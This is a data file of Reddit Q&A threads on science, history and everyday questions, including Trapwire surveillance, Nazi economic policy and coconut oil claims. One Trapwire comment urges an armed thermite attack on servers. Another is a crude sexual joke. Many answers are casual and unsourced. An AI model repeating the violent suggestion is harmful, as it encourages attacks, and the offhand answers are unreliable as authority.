{"q_id": "p7uxs", "title": "Does supplementing one's diet with coconut oil reduce the symptoms of Alzheimers?  Please evaluate these claimed health benefits (lots of info to review).", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p7uxs/does_supplementing_ones_diet_with_coconut_oil/", "answers": {"a_id": ["c3n8og3"], "score": [6], "text": ["It seems too good to be true, because it is.  Let me start by saying that as of 02/02/2012 there is no peer-reviewed study showing a safe and effective method of modifying the actual markers of Alzheimer's disease (there have been some with potential, specifically some that bind to A-beta and others that prevent tau deposition, but they also may have led to death in some...).  \n\nWith that said, the text you provided doesn't really make any claims about how they propose coconut oil actually benefits any of the neurodenerative conditions, they only make indirect claims about how coconut oil may have similar effects to other methods (that themselves have limited efficacy).  For example, they say it might have the same effect as \"statins\"... guess what?  Statins are actually starting to show cognitive side effects, and some practitioners are warning against their use in patients with neurodegenerative conditions.  Regarding fatty acids, the relationship to Alzheimer's is not clear, but most of the research suggests that the benefit (if any) is in prevention of Alzheimer's pathology, and that it does nothing to impact existing pathology.  Lastly, ketosis is a very interesting area of research with regards to some neurodegenerative conditions (namely Alzheimer's and Parkinson's), and some have proposed theories of how ketosis could be disease modifying in both.  However, as far as I'm aware there is no clear evidence that disease modification has actually been shown, and ketosis is certainly not without risks, especially in an older population.  \n\nLong story short, like so many other so-called \"miracle supplements\" coconut oil has not been fully investigated before someone makes wild claims about what it can or can't do, and based on what you've provided, it doesn't function by any new mechanism that we weren't already aware of and studying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ltb5g", "title": "Sensory/cognitive functions of a housefly: How do they navigate, operate and perceive their surroundings?", "selftext": "I am Curious of the current scientific consensus on this, since I'm convinced they don't use their eyes for threat recognition. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ltb5g/sensorycognitive_functions_of_a_housefly_how_do/", "answers": {"a_id": ["d3q6nar"], "score": [4], "text": ["This is not a full answer but some relevant information:\n\nDr Joshua Dubnau, Cold Spring Harbor Laboratory :\n > \"The question of whether flies have cognition depends a lot on what we mean by cognition. Fruit flies are remarkably sophisticated animals in the sense that they can court members of the opposite sex. They are able to find animals that are of the same species as they are, not a different fruit fly species but the same one, drosophila melanogaster courts drosophila melanogaster. Fruit flies are able to find appropriate food sources; they defend territory from other fruit flies. They\u2019ll fight over access to a place to lay eggs, they are able to figure out what time of day is the most appropriate time to sleep and what is the most appropriate time to forage for food, and they can learn from their past experiences about what stimuli were noxious, or what stimuli (what smells, what sounds or what colors) were associated with something that tasted bad or something that was pleasing. Whether or not that was cognition, I\u2019ll leave that to the philosophers.\"\n\n\nCognitive Science: An Introduction by Neil A. Stillings et al page 23 touches on hose fly cognition briefly [source](_URL_1_)\n\nAnd this paper \"Cognitive consonance: complex brain functions in the fruit fly and its relatives.\" Trends Neurosci. 2004 Dec;27(12):707-11. [source](_URL_0_) may be a good source of information. \n\nPerhaps someone could use this sources and others and start to build a coherent answer to the question,"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/15541510", "https://books.google.co.uk/books?id=wCRonP7EgDkC&amp;pg=PA23&amp;dq=housefly+cognition&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjPvf6j-YPNAhWDwBQKHR6QALwQ6AEIHTAA#v=snippet&amp;q=housefly&amp;f=false"]]}
{"q_id": "yagxu", "title": "trapwire and why it is bad", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yagxu/eli5_trapwire_and_why_it_is_bad/", "answers": {"a_id": ["c5tuhrw", "c5tuiek", "c5tulzo", "c5tutbo", "c5tv2jz", "c5twyl6", "c5txkgp", "c5ty7d6", "c5u0peb", "c5ucavl", "c5uf7i3", "c5ufsyv"], "score": [13, 12, 30, 351, 11, 5, 7, 5, 2, 3, 2, 2], "text": ["It could be easily abused.\n\nVery easily.", "Imagine you are the star in the truman show, but the goverment is the audience and they can do lots of stuff to abuse that knowledge.", "So far as I understand, the main bad thing about trapwire is that the government is watching people without their knowledge.\n\nThey have little proof of if they did anything.\nThey have the power to just start watching anyone.\nThey have no warrents to be watching people.\nThey kept the whole system a secret.\n\nI personally don't know much about it, but AFAIK, that is the real issue.  They are watching and tracking people without valid reason.\n\nAre you on their list?", "Trapwire is a computer system that gathers up video from security cameras and analyzes it.  It then uses facial recognition and pattern recognition to figure out who is in these videos and alerts an actual human if it recognizes behavior that might be a threat.  The system is sold to private companies like casinos or government agencies like local police forces.\n\nSo lets say you own an amusement park.  You don't want any nasty terrorists blowing up your park, so you install about two hundred security cameras all over the place to keep an eye on things.  But how do you monitor them all?  You'd need at least 50 security people to do it effectively (nobody can really *watch* more than about 4 monitors at a time).  And 99.99% of the time, all those security people are watching nothing dangerous happening.  It's cheaper and easier to let a smart(ish) program do all the watching.  The trapwire system watches all 200 video feeds and analyzes them.  If it sees somebody doing something that might be \"bad\", it alerts one of your real, live security people and they can look for themselves.\n\nWhy is this a bad thing?  Well for one, it's creepy.  Nobody likes to be watched, and nobody certainly wants to be *judged* be some scary computer brain.  It's also creepy because a lot of the things the software looks for is not necessarily bad in and of itself.  If it sees somebody standing around taking pictures, it might think they're a terrorist, while in reality they're just an amateur photographer.\n\nIt's made even creepier by the fact that Stratfor (the company that makes and sells trapwire) is run by former CIA agents.  It is assumed by some people that the software reports back to the federal government - possibly to the extent that the FBI or CIA can tap into any video feeds used by the system whenever they want.  There is no proof of this, but as conspiracy theories go, it is very plausible.\n\nAnd even though the system has been around for four of five years, and wasn't really a secret, it's a big deal now because Anonymous recently posted a whole bunch of private emails from Stratfor on Wikileaks.  So it's getting lots of new publicity right now, and it's not good publicity.  The emails make Stratfor look like creepy bastards, and the fact that their internal company emails were so easily compromised does not say much for their security in general.  In other words, if some armchair hacktivists could steal their emails without much effort, how hard could it be for actual terrorists to screw up a trapwire system and get away some big attack?  It's not the same thing at all, but that is how people think, so that is why they're upset about it at the moment.\n\n", "you remember that sonar system from the dark knight? its not as extensive as that, its probably not in your home, but it could be in many places. remember how morgan freeman/ god/ lucious said he would quit if this was implemented more than when bat man (a trusted source of crime fighting who only needed it once) needed it. that should say how bad this is. a big intrusion into your comfort of privacy.", "Nobody seems to mention historical searches.\n\nWhat if you decided to check someone out.  What if you called up everywhere they showed up in the last year.\n\nI don't know if this system does that, but it could be pretty creepy.", "I'll paraphrase an excellent defense of privacy I've heard elsewhere.\n\nMany people argue that if you have done nothing wrong, you shouldn't be worried about something like this, and you should have nothing to hide.  When you poop, do you leave the door wide open?  Probably not.  (And if you're five, and you do, we're probably working on that.)  Why is that?  You aren't doing anything wrong, but that doesn't mean you don't want your privacy.\n\n\n  All precedents point to the fact that once we surrender any rights, we will not be getting them back.  It's a one way trip.", "Go read 1984. There's a bit where Winston mentions the only limitation of Big Brother, that someone may not be watching the feed from the telescreen in question, it's just the possibility of the feed being watched that compels docility. Remove that limitation and you should understand the problem. ", "Another issue I see with this program is that it can be used against you if the government for some reason decides you are a person of interest. The video could be used to substantiate a crime you are accused of because the cameras circumstantially show you in a location that is suspicious. The more tools we give the government to use against us the more danger we are in. Sounds like conspiracy theory stuff but I know people who have been victimized by the government. You see if the government thinks you are guilty of wrongdoing the burden of proof is on you,  they have the resources to keep you in court until you go broke and you ultimately have to confess and plea bargain or goto jail. It is not fair and things like Trapwire will only make it worse.\n", "Can we get a no bullshit location of where the computer system is housed? We could do a hard press armed frontal assault into the building and melt the fucking servers using thermite. ", "Wasn't this the plot of a Metal Gear Solid game?\n", "Rapidly gain a noticeable amount of weight, then lose it almost twice as fast, maybe even tone up to throw a third face in. It'll confuse the facial recognition and put your identity's priorities on the back-burner next to the anomalies pile."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "26uumg", "title": "what made dungeons and dragons so controversial during the 1980s?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26uumg/eli5_what_made_dungeons_and_dragons_so/", "answers": {"a_id": ["chuoy40", "chuoymz", "chup1rt", "chupvf6", "chuq6r4"], "score": [3, 3, 9, 2, 3], "text": ["Fundamental Christians thought it was teaching the players how to do occult magic.", "Crap news organizations find it easier to scare their 60 year old viewers by talking about things that are different.\n\nSo rather than investigate and report something truly newsbreaking and helpful to the community, they'll say \"tonight at 11, a new adult club is opening, watch to find out where...\"\n\nIt is like every other fad, 60 year olds that watch the local news and call their politicians get crazy things covered.  What is planking?  What does yolo and swag mean?  Why do these darn kids wear such stupid clothes?", "Kids were spending a lot of time on it, for one thing. Then, like the video games of today, it was blamed anytime a player committed suicide or murder. To top it off Parents, politicians, educators, and religious authorities took rules out of context to make them seem satanic and destructive in nature. A blogger put up a [page-by-page refutation](_URL_0_) of an anti-D & D booklet a while back. It provides pretty good examples of what I explained earlier. Hope this helps!", "During the 1980s, there was a bunch of vocal Christian groups convinced that Satan was around every corner.  They were convinced the heavy metal had [hidden satanic messages](_URL_1_).  They were convinced that [Satanists were abusing and killing children](_URL_2_).  They were convinced that [Dungeons and Dragons was teaching kids to summon demons](_URL_0_).  Their accusations were all over the news.\n\nEvery last bit of this was total bullshit.", "Some people serious thought [THIS](_URL_0_) was anywhere close to an accurate depiction of Dungeons and Dragons.  Ignoring the obvious girl to boy ratio there, it's not as if people really believed that the things they were doing were real, that they summoned real monsters, practiced real magic, or if their character died they couldn't just play in another campaign."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.theescapist.com/BADDbook.htm"], ["http://en.wikipedia.org/wiki/Dungeons_%26_Dragons_controversies#Religious_objections", "http://en.wikipedia.org/wiki/Backmasking#Subliminal_persuasion", "http://en.wikipedia.org/wiki/Satanic_ritual_abuse"], ["http://www.chick.com/reading/tracts/0046/0046_01.ASP"]]}
{"q_id": "1bng9o", "title": "What was the Catholic Church's reaction to the rise and spread of communism?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bng9o/what_was_the_catholic_churchs_reaction_to_the/", "answers": {"a_id": ["c98a9nz", "c98ecyn"], "score": [6, 4], "text": ["Amongst other, addressing the conditions of the working class, putting more attention on social issues:\n\n_URL_1_\n\n_URL_3_\n\nBasically developing their own form worker-oriented economic philosophy, something different from socialism. This would be based on private property, but instead of a few people owning a lot of property, it would be more like every farmer owning land, every artisan owning a shop etc. then the economy of numbers achieved through guilds that prevent someone becoming overly rich and putting others out of business, hence reducing them to proletars. Partially it is a reinvention of medieval economic philosophy. _URL_0_\n\nPerhaps the most important idea developed here is subsidiarity, which largely means do not let a larger unit do what a smaller unit can do. So it is partially libertarian: do not let the government do what the market or some local initiative could. But it is also against corporate capitalism: do not let a large agribusiness do what family farms could.\n\n_URL_2_", "I can only speak on the Catholic Church in Ireland, but Archbishop McQuaid (b. 1895, c. 1940, d. 1972) was absolutely obsessed with rooting out Communism - you could almost call the man paranoid. The Dublin Diocesan Archives are rife with papers and reports related to Communism. McQuaid had a fairly able spy-network all across Dublin and Ireland, and set up a 'V for Vigilance' committee to read through these reports. \n\nTypically, McQuaid would try and make sure his priests were in constant contact with Trade Union Executives - document 4 of Box AB8/B/XXI11 in the DDA showed that, around 1955, a Fr. Fehily had become very close to a lot of trade union executives, and was recommended for elevation to the committee. Fehily would continue to creep up as the man to send to new union and labour presidents. \n\nThe priests would also typically ask permission from McQuaid before reading any subversive literature - document 6 of the same box is a letter from a Fr. Clarke asking permission to read *The Bell,* [a paper that McQuaid believed had a Communist agenda and that was edited by Hubert Butler, a protestant](_URL_1_). \n\nMcQuaid also had An Garda Siochana send him reports on suspected Communist activity. A lot of these reports were stamped 'confidential,' and the Taoiseach himself would occasionally send intelligence to McQuaid. The trouble was that much of this intelligence was based on conjecture. They would try and tie things together, like education reform and a possible connection to the efforts of the British Communist Party. It became difficult, as the years wore on, to figure out who was a threat, and who was simply pro-labour.\n\nMcQuaid would use all of this intelligence to try and his own influence to alienate those seen to be promoting Communism, though at times Communism simply meant being Anti-Catholic, or being Anti-Catholic meant you were a Communist. Whenever the Church of Ireland helped and was thanked by whatever unemployed worker's movement or union was being monitored, it was reported. \n\nAt the same time, however, we must be careful to simply slap the label of Anti-Labour onto McQuaid. [He did support the Teacher's Union Strike,](_URL_0_) and, eventually, helped mediate negotiations. Of course, this was in 1946, only six years into his tenure as Archbishop and, as time went on, he saw more and more possible Communists in the shadows. \n\nThere is also a particularly large collection of reports from a woman named Una Byrne, who I studied a bit as a side project. I could talk for hours about the woman, but essentially she worked to infiltrate women's organizations to root out Communism. The trouble was she was more paranoid than McQuaid, and enjoyed having her own bit of power. She weaseled her way into the higher ranking circle of the Irish Housewives Association, and would shoot off reports anytime something vaguely Communist-ical (free medicine, for example) was discussed. But she also made a huge push to root out Communists and troublemakers, and did seem to be a bit useful - a couple of letters show that, on occasion, McQuaid or his committee would ask for information on IHA members that were agitating in other areas. The trouble was that she wasn't very quiet and wound up getting caught telling the Crumlin Catholic Action Circle that the IHA was full of Communists, according to a letter from 25 February 1953. The IHA became VERY suspicious of Byrne, and it took a year before she was really able to do anything. And, according to a letter written on 5 February 1954, that action was mainly possible because flooded the organization with her friends on voting days. Oftentimes she asked her contact, Fr. Martin, to try and spur more Catholic women to attend these meetings so Byrne could do what she wanted to. \n\nAll of this action, of course, was mainly so McQuaid could stay one step ahead of Communist agitators. He was worried they may get a foothold in the Irish political scene, and did everything he could to alienate any leader who might have tried to spread Communism in Ireland. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Distributism", "http://en.wikipedia.org/wiki/Rerum_Novarum", "http://en.wikipedia.org/wiki/Catholic_social_teaching#Principles", "http://en.wikipedia.org/wiki/Quadragesimo_anno"], ["http://books.google.com/books?id=zWgfwHuOCHYC&amp;pg=PA337", "http://books.google.com/books?id=lXa7m8wG84MC&amp;pg=PA490&amp;lpg=PA490&amp;dq"]]}
{"q_id": "26wlt7", "title": "Other than the military technology, what parts of WWI were truly \"modern\" to warfare?", "selftext": "People always say the scale of the war, but the Napoleonic Wars were pretty similar in this regard, right?  I guess what I'm getting at is other than the military technology, how was WWI different than the Napoleonic Wars?  The press, world economy, healthcare, social classes were all very different during WWI as compared to the early 1800's, and I'm curious as to how they or other things may have contributed to WWI being truly a \"modern\" war.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26wlt7/other_than_the_military_technology_what_parts_of/", "answers": {"a_id": ["chv8mko", "chviyoy"], "score": [18, 12], "text": ["You really can't separate them; accurate, powerful artillery, massive-scale use of machine guns, flamethrowers, gas, automatic weapons, aircraft, submarines, and armoured vehicles are really the hallmarks of modern warfare, as are the responses to them - trenches, the decline of cavalry, camouflage, steel helmets, bullet proof armour, gas masks, the Geneva Conventions and bans on the use of Chemical Weapons, etc.", "If you include things that aren't *necessarily* military in functions, things that were novel, or at least novel to warfare, or at least novel to mass deployment:\n\n1. Wireless communications\n2. Communications with aircraft, including rudimentary air traffic control\n3. Cellulose bandages (which contributed to the massive expansion of sanitary napkin products in the post-war era)\n4. Mass involvement of women in armaments production\n5. Vastly higher rate of male enlistment leading to social consequences back home\n6. Vastly higher rate of male death leading to social consequences back home\n7. X-rays\n8. Hydrophone technology\n9. The use of psychology to treat soldiers (\"shell shock\")\n\nJon Agar has a chapter on science and technology in World War I in his book *Science in the 20th Century and Beyond*, and I have a couple of books on history of science and history of medicine I can look up for you if you're interested when I get back from a conference after the weekend.\n\nSomeone else would be better qualified to discuss social or economic history, though.\n\nAlso, your question doesn't mention the arts, but World War I was a huge stimulus for modernist and counter-modernist artistic movements alike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6id0an", "title": "The Act of 1871", "selftext": "I've gone down the rabbit hole of YouTube conspiracies and I've seen a few videos on this alleged act in our U.S. Government and they all seem to imply that the federal government only has jurisdiction of Washington D.C. and not the rest of the states. \n\n\nIt continues to claim that we voluntarily comply to these laws and their enforcement is unlawful outside of D.C.\n\n\nI know it's a stretch and sure sounds off but, I was curious what you history buffs know about this act. Perhaps you can shed light on their misinterpretations or maybe there is some validity to these claims?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6id0an/the_act_of_1871/", "answers": {"a_id": ["dj5lfli"], "score": [2], "text": ["The supremacy clause of the constitution (Article 6 section 2) states that:\n\n > This Constitution, and the Laws of the United States which shall be made in Pursuance thereof; and all Treaties made, or which shall be made, under the Authority of the United States, shall be the supreme Law of the Land; and the Judges in every State shall be bound thereby, any Thing in the Constitution or Laws of any State to the Contrary notwithstanding.\n\nWhat this means is that in a conflict between federal laws and state laws: federal laws are \"superior\" and state courts must comply federal laws when state and federal laws are in conflict. Also, state constitutions are subordinate to federal laws. In effect, this means that laws made by the US congress is the supreme law of the land and enforceable throughout the United States."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "iby9e", "title": "How widely accepted is the Snowball Earth hypothesis?", "selftext": "Is it 99% fact, like evolution or is it more controversial? Please explain the current acceptance and research of it to this very dumb non scientific. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iby9e/how_widely_accepted_is_the_snowball_earth/", "answers": {"a_id": ["c22jfz3"], "score": [19], "text": ["I apologize for a somewhat incomplete answer, and will leave it to more qualified redditors to give you a more complete picture. I attended the Colorado School of Mines for many years and was, as a result, subjected to many lectures on the subjects of geology and climate.\n\nThe occurence of relatively cold periods in the past is a universally accepted fact. These included great expanses of ice, far south of what we now call the \"poles.\" The great lakes (in the USA) for example, rest in areas depressed and carved by ice *kilometers* thick. Oman (13 degrees N) is also known to have experienced glaciation. It is also known with great certainty that some of these cold periods were more severe than others. Some scientists hyposthesize that the most sever of these periods resulted in ice coverage all the way to the equator. The high albedo of ice would then induce a feeback effect resulting in thick ice and a reduction in biodiversity.\n\nReductions in biodiversity corresponding with cold periods are well recorded. The \"snowball\" hypothesis fits this expanation and is also supported by other evidence, largely in the pattern of sedimentary deposits and unusual banded rock formation. Some researchers have raised objections to the snowball explanation for these events, largely that there is no evidence that equatorial ocean currents ceased to flow. This has led to a \"slushball\" hypothesis, wherein glaciers covered all or most of the land surface of earth, whist a narrow band of cold ocean stayed liquid near the equator. \n\nIn summary, the snowball earth hypothesis correlates very well with geological records. Minor disputes have resulted in some modifications to the \"most likely\" story of events. There is minor controversy regarding specific points, but the overarching theory is belived to be largely sound by a majority of scientists. This theory is still under investigation, and is an active field of research.\n\nCheers, and thanks for a cool question. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2b8lco", "title": "what is quad hd and how can a phone like the lg g3 have such high quality?", "selftext": "The LG G3 claims to have quad hd, which is five times more resolution than the iPhone 5s. Is it really that huge of a difference?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b8lco/eli5_what_is_quad_hd_and_how_can_a_phone_like_the/", "answers": {"a_id": ["cj2xxj5"], "score": [2], "text": ["Standard HD is considered something that is 720p (1280x720). This phone uses a screen that is 4 times that (2560x1440).  I know the math may look like it is double at first glance but you must keep in mind that this is multiplication.  (1280x2)x(720x2)=(1280x720)x4"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rz7yw", "title": "Will a powerful subwoofer sitting next to a desktop computer damage it in any way due to vibrations?", "selftext": "I am good with computers and have built my own, but I was wondering if constant vibrations could somehow damage my hard drive (aside from screws being shaken loose). Is this possible, or am I ok to put my 150w active subwoofer next to my PC?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rz7yw/will_a_powerful_subwoofer_sitting_next_to_a/", "answers": {"a_id": ["c49tkig", "c49tp7o"], "score": [4, 2], "text": ["The magnets inside could damage the computer. Grab a metal object and test to make sure the subwoofer is shielded. I have had non shielded speakers cause image distortion on a CRT and LCD display. \n\n-PC service Tech", "Heavy vibrations can cause gradual damage to a hard drive or to fan motors. Not an urgent concern, but I'd probably put the 'woofer on the floor if you like to crank it (especially if you like to crank it and your system at the same time)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8lsfry", "title": "Was it easy to cut the aqueducts to an ancient city like Rome or Constantinople during a siege and so force the populace to surrender from thirst? If so, why wasn't this the go-to strategy for forcing a surrender?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8lsfry/was_it_easy_to_cut_the_aqueducts_to_an_ancient/", "answers": {"a_id": ["e06nfr6"], "score": [3], "text": ["It's not difficult for an army with sufficient siege capabilities to block or destroy a portion of an aqueduct, thereby restricting and depriving a besieged city of its water supply. It was indeed a standard preliminary offensive measure from a belligerent army in initiating a siege.\n\nIn the case of Rome, this happened during the Gothic Wars wherein particular during the siege of 537-8, the Gothic army cut the aqueducts that crippled the city's supply capacities. However, the Goths were not able to fully utilize the deprivation of Rome's aqueduct to their advantage because they were unable to establish a full blockade of the city. Supply shipments from Byzantine controlled Ostia were still able to reach the city and Rome was able to hold out until reinforcements allowed the Byzantines to breakout and rout the besieging Goths.\n\nIn the case of Constantinople, we are given the demonstration of countermeasures a city could establish to the cutting of their water supply. In the siege of 626 by the Avars and Sassanids, the Avars destroyed the Aqueduct of Valens but to little effect because neither they or the Sassanids were first unable to achieve a naval blockade on the city thus allowing the Byzantine fleet to protect supply shipments from overseas. Secondly and more importantly, Constantinople boasted massive cisterns that were designed for the particular purpose of maintaining a water supply during a siege. These cisterns allowed Constantinople to essentially be independent of external water demands in times of siege although Constantinople was very much an exception in both the remarkable size and effectiveness of its cisterns and it's ability to withstand the supply deprivations derived from prolonged siege."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1zdy37", "title": "Besides their racial policies, what other polices did the Nazi party have?", "selftext": "What policies did the Nazi's have on healthcare, welfare, education, employment, criminal justice etc.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zdy37/besides_their_racial_policies_what_other_polices/", "answers": {"a_id": ["cfsu8mg"], "score": [3], "text": ["Something we can look at is the Nazi platform. This is something I've recently done a lot of research on, and referred to a lot, so let's take a look!\n\nEconomic policy by the Nazis, as [found in their pamphlet in 1932](_URL_2_)...\n\n**Employment:**\n\nNotable things include:\n\n* Unemployment benefits burden the economy, but job creation stimulates the economy: Tolerating unemployment means a brutal deprivation of rights for the productive people\u2019s comrade. He is robbed of his freedom to earn his living by his own efforts. He is robbed of the ability to support himself, and is forced to rely on miserable public support, which is constantly being cut. The working people does not want to sell its right to life for these few pennies, but rather demands the right to work. \n\n* Focus on domestic production: The following steps must be taken to refocus the German economy on the domestic market: Promoting the fertility of German soil by land reclamation. Building developments with single-family houses for workers to promote the deproletarianization of working people, strengthening the purchasing power of workers, and encouraging a reduction in the industrial working day. Building roads, canals, etc., to support the domestic exchange of goods, settling people in the East, and loosening the hold of big cities.\n\n**Land Reclamation:**\n\nNotable things include:\n\n* a) Draining land: 8.5 million hectares. The increase in production is 80 marks per hectare, or 680 million marks in total. b) Marling meadows and fields: 2 million hectares. This will result in an increase in production of 50 marks per hectare, or 100 million marks. c) Cultivatable moor lands: 1,900,000 hectares, increasing production by 300 marks per hectare, or 570,000,000 marks. d) Cultivatable barren land: 600,000 hectares, increasing production by 200 marks per hectare, or 120 million marks. e) Redistributing lands in need of improvement: 5 million hectares, increasing production by 25% to 50%, or at least 500 million marks. f) Land to be gained by river control, dams, and dikes: not yet determined.\n\n(All of these were public works projects, obviously, so public works were an integral part of their economic policy).\n\n* Build more houses: Each worker willing and able to buy a single-family house will receive a 40% subvention from the government. If he has a job, he can borrow the rest from a state bank, which will guarantee favorable terms and a quick decision. If he is unemployed, he will be paid for helping to build the settlement (the larger the building program is, the greater can be the number of unskilled workers). A percentage of his pay will go toward the purchase of a single-family house. The terms will be at least as favorable as for the first group. The plan is to build 400,000 private homes per year. That will provide employment for one million people.\n\n**Finances:**\n\nNotable things include:\n\n* Assuming the rest of the policies reduce unemployment etc.: Savings for the unemployed; office and town payments for unemployment support of 33% of wages, or 25% of the total costs. Increased revenues for social security: 16% of wages, or 12% of total costs. Increased taxes: 15% of total costs.\n\n* Since 50% of total costs will come from savings and increased revenues on the part of the government, 70% to 80% of total costs will quickly be available. The remaining 20% to 30% can be financed by credit. Such a limited increase in credit is no danger to the stability of our currency.\n\n* This will involve providing credit for manufacturing standard products that are in demand and can be stored. These include grain, fertilizers, coal, metals, etc., which will receive subventions under the condition that the products be sold at specified prices and that large numbers of new workers be hired.\n\n**Foreign Trade:**\n\nNotable things include:\n\n* It would be an irresponsible waste to accept a negative balance of payments with foreign countries in the future. The German people does not exist in order to accept the surplus production of other peoples.\n\n* National Socialism demands that the needs of German workers no longer be supplied by Soviet slaves, Chinese coolies, and Negroes. National Socialism is determined to eliminate the barriers between the cultural level of German workers and German farmers. Therefore, import restrictions must be implemented when the result will be work for the German worker or the German farmer. National Socialism opposes the liberal world economy, as well as the Marxist world economy. Instead, it demands that each people\u2019s comrade be protected from foreign competition.\n\n* Therefore, a guideline of National Socialist policy is to cover the German people\u2019s needs by its own production as far as possible, securing the amount in excess of domestic production from friendly European states, particularly if they are wiling to accept industrial products from Germany as payment.\n\n**Foreign Currency Supplies:**\n\nNotable things include:\n\n* We will work out a reduction in interest with our foreign creditors, making it equivalent to the rate of interest they charge borrowers in their own countries.\n\n* Under a National Socialist state, the flow of money and capital abroad will only happen if approved by the state German Foreign Bank (Foreign Currency Office). The German Foreign Bank will coordinate all foreign currency and other valuables within the German banking system. National Socialism will insure that the bleeding dry of the German economy will cease. These measures will contribute to ending the existing system of starvation.\n\nThat should give you an idea of some of their economic policies. What about healthcare?\n\n > One of the first Nazi laws, passed July 14, 1933, was the \u201cLaw for the Prevention of Progeny of Hereditary Disease,\u201d intended to \u201cconsolidate\u201d social and health policies in the German population and prohibit the right of reproduction for persons defined as \u201cgenetically inferior.\u201d After 1933, the connection between the theory and practice of politicized medicine advocated by many in Weimar Germany became actual in Nazi Germany.\n\nSource: _URL_1_\n\nNazis in general continued with a [universal healthcare system](_URL_0_) advocated by Bismarck at least 50 years earlier (I think it was 60-70, or so). Hospitals and doctors, while working without goal of profit, work in a society that is supposed to attempt to insure everyone, and it remains a multi-payer model, so it's not the same as the universal model we see in countries like the UK today.\n\nOn education:\n\nVery nationalistic, and the Nazis had great support from teachers (especially non-Jewish ones, of course). They also had great clout amongst them, but generally education was simply approached the same way as previously, just with increased nationalism (though it had already been pretty nationalistic) and with increased focus on biological superiority.\n\nThat's about all I really can talk on, but that should give you an idea!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pbs.org/wgbh/pages/frontline/sickaroundtheworld/countries/models.html", "http://www.fee.org/the_freeman/detail/national-health-care-medicine-in-germany-1918-1945#axzz2urAQbrk9", "http://www.calvin.edu/academic/cas/gpa/sofortprogramm.htm"]]}
{"q_id": "6sr5fd", "title": "why is eating while watching tv/movies so satisfying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6sr5fd/eli5_why_is_eating_while_watching_tvmovies_so/", "answers": {"a_id": ["dleyt9d", "dlf2c8y", "dlf39q5", "dlf3npv", "dlf5syl", "dlf6leh", "dlf6m8x", "dlf7geq", "dlf7lo7", "dlf8hrh", "dlf8q8u", "dlf8wnr"], "score": [1334, 76, 176, 26, 6, 5, 10, 2, 7, 33, 2, 9], "text": ["Eating is satisfying.\n\nWatching TV shows/movies is also satisfying.\n\nEating does not normally interfere with watching TV shows or movies.\n\nTherefore, eating is normally satisfying while watching TV.\n\n\n", "Huh... never really thought about it but it's interesting how food has been tied to entertainment for so long... my guess is it's due to separate dopamine triggers enhancing each other. ", "It's because two of your senses are being stimulated and your other senses crave stimulation too. It's the same with driving, your sight is over stimulated so you want music and snacks as you drive.", "Well eating without doing anything else can be quite boring (perhaps because we have developed a need for constant entertainment) so it is more satisfying to be watching TV/movies while eating.", "As another arm-chair expert here I vote for the idea that you're stimulating multiple regions of the brain. I.e. it gives you something to do while staying idle watching a show. Bonus points is the mutual dopamine release between activities.\n\nEdit: I commonly find myself playing games/browsing this damn site while watching a video/show as well.", "Did that really warrant a ELI5?", "As much as eating is satisfying while watching telly, it is annoying when your own munching sound is drowning the telly sound and you got to crank up the volume and then look like a deaf idiot in front of those who aren't eating!", "I can also imagine that eating while wathching is a habit, with the act of sitting down and turning on the scrren acts as a trigger.", "Is it satisfying? if you eat without stimulus food taste better. ", "I think it's kind of simple. While eating, you can't use your hands or mouth. Can't think of any activity you can do without at least one of those, other than sitting there watching something.\n\nInversely, when watching a show, you can't really use your eyes or ears for something else, but you can use your mouth and hands. So you could either suck a dick or eat some food and I know which one I would choose every time.", "Watching TV, especially something you're really interested in, is completely engaging your conscious brain. Since it's been proven that humans can't multi-task multiple conscious activities, the only thing left to do in front of the TV is lifelong engrained habits; activities we do unconsciously. The ones that make the most sense in front of a TV is eating and talking. Even those can be paused during a particularly emotional scene.\n\nProbably also why we enjoy watching video clips while sitting on the toilet.  ", "Like you're five? Ok...\n\nWHAT ARE YOU DOING?! YOU KNOW THE RULES ABOUT EATING IN THE LIVING ROOM! YOU'RE GETTING CRUMBS ALL OVER THE COUCH! LOOK, THERE ARE ALREADY ANTS IN HERE. GET YOUR BUTT BACK TO THE TABLE, NOW!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
